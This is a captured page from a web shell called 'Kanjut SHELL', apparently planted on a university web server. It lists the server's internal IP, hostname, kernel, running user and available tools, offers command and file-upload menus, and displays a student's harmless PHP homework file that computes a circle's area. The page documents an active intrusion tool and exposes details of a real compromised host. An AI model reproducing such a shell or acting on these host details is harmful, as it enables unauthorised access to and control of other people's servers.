Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.138.122.90
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/tafletcher/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/tafletcher/public_html/circle.php
<!--
	File name: Circle.php
	class:	CS480
	Date:	2/2/09
	Name:	Tom Fletcher
	Instr: Dr. Wang
	Goal:	This code will calculate the area of a circle
-->

<HTML>

<HEAD>
<TITLE>
Calculate the Area of a Circle
</TITLE>
</HEAD>

<BODY background="darkaurora.jpg">
<CENTER>
<FONT size=4 color=red>
<?php
	$r = 1;
	$area = M_PI * $r * $r;
	$display_area = number_format ($area, 2);	//This reduces the output size
	print "The area of the circle is $display_area."
?>
</FONT>
</CENTER>
</BODY>

</HTML>

Stv3n404 - 2023